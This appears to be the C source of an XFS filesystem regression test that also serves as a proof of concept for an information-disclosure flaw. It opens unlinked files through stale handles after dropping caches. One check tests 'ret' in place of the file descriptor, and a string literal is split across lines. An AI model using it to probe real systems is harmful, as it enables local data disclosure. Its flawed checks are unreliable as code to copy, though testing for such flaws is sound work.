147 lines
No EOL
4.5 KiB
C
147 lines
No EOL
4.5 KiB
C
/* stale_handle.c - attempt to create a stale handle and open it
|
|
*
|
|
* Copyright (C) 2010 Red Hat, Inc. All Rights reserved.
|
|
*
|
|
* This program is free software; you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation; either version 2 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
*
|
|
* Credit: David Chinner
|
|
* The XFS filesystem is prone to a local information-disclosure vulnerability.
|
|
*
|
|
* Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. * Denial-of-service attacks may also be possible.
|
|
*/
|
|
|
|
#define TEST_UTIME
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <errno.h>
|
|
#include <xfs/xfs.h>
|
|
#include <xfs/handle.h>
|
|
|
|
#define NUMFILES 1024
|
|
int main(int argc, char **argv)
|
|
{
|
|
int i;
|
|
int fd;
|
|
int ret;
|
|
int failed = 0;
|
|
char fname[MAXPATHLEN];
|
|
char *test_dir;
|
|
void *handle[NUMFILES];
|
|
size_t hlen[NUMFILES];
|
|
char fshandle[256];
|
|
size_t fshlen;
|
|
struct stat st;
|
|
|
|
|
|
if (argc != 2) {
|
|
fprintf(stderr, "usage: stale_handle test_dir\n");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
test_dir = argv[1];
|
|
if (stat(test_dir, &st) != 0) {
|
|
perror("stat");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen);
|
|
if (ret < 0) {
|
|
perror("path_to_fshandle");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
/*
|
|
* create a large number of files to force allocation of new inode
|
|
* chunks on disk.
|
|
*/
|
|
for (i=0; i < NUMFILES; i++) {
|
|
sprintf(fname, "%s/file%06d", test_dir, i);
|
|
fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644);
|
|
if (fd < 0) {
|
|
printf("Warning (%s,%d), open(%s) failed.\n", __FILE__,
|
|
__LINE__, fname);
|
|
perror(fname);
|
|
return EXIT_FAILURE;
|
|
}
|
|
close(fd);
|
|
}
|
|
|
|
/* sync to get the new inodes to hit the disk */
|
|
sync();
|
|
|
|
/* create the handles */
|
|
for (i=0; i < NUMFILES; i++) {
|
|
sprintf(fname, "%s/file%06d", test_dir, i);
|
|
ret = path_to_handle(fname, &handle[i], &hlen[i]);
|
|
if (ret < 0) {
|
|
perror("path_to_handle");
|
|
return EXIT_FAILURE;
|
|
}
|
|
}
|
|
|
|
/* unlink the files */
|
|
for (i=0; i < NUMFILES; i++) {
|
|
sprintf(fname, "%s/file%06d", test_dir, i);
|
|
ret = unlink(fname);
|
|
if (ret < 0) {
|
|
perror("unlink");
|
|
return EXIT_FAILURE;
|
|
}
|
|
}
|
|
|
|
/* sync to get log forced for unlink transactions to hit the disk */
|
|
sync();
|
|
|
|
/* sync once more FTW */
|
|
sync();
|
|
|
|
/*
|
|
* now drop the caches so that unlinked inodes are reclaimed and
|
|
* buftarg page cache is emptied so that the inode cluster has to be
|
|
* fetched from disk again for the open_by_handle() call.
|
|
*/
|
|
system("echo 3 > /proc/sys/vm/drop_caches");
|
|
|
|
/*
|
|
* now try to open the files by the stored handles. Expecting ENOENT
|
|
* for all of them.
|
|
*/
|
|
for (i=0; i < NUMFILES; i++) {
|
|
errno = 0;
|
|
fd = open_by_handle(handle[i], hlen[i], O_RDWR);
|
|
if (fd < 0 && errno == ENOENT) {
|
|
free_handle(handle[i], hlen[i]);
|
|
continue;
|
|
}
|
|
if (ret >= 0) {
|
|
printf("open_by_handle(%d) opened an unlinked file!\n",
|
|
i);
|
|
close(fd);
|
|
} else
|
|
printf("open_by_handle(%d) returned %d incorrectly on
|
|
an unlinked file!\n", i, errno);
|
|
free_handle(handle[i], hlen[i]);
|
|
failed++;
|
|
}
|
|
if (failed)
|
|
return EXIT_FAILURE;
|
|
return EXIT_SUCCESS;
|
|
} |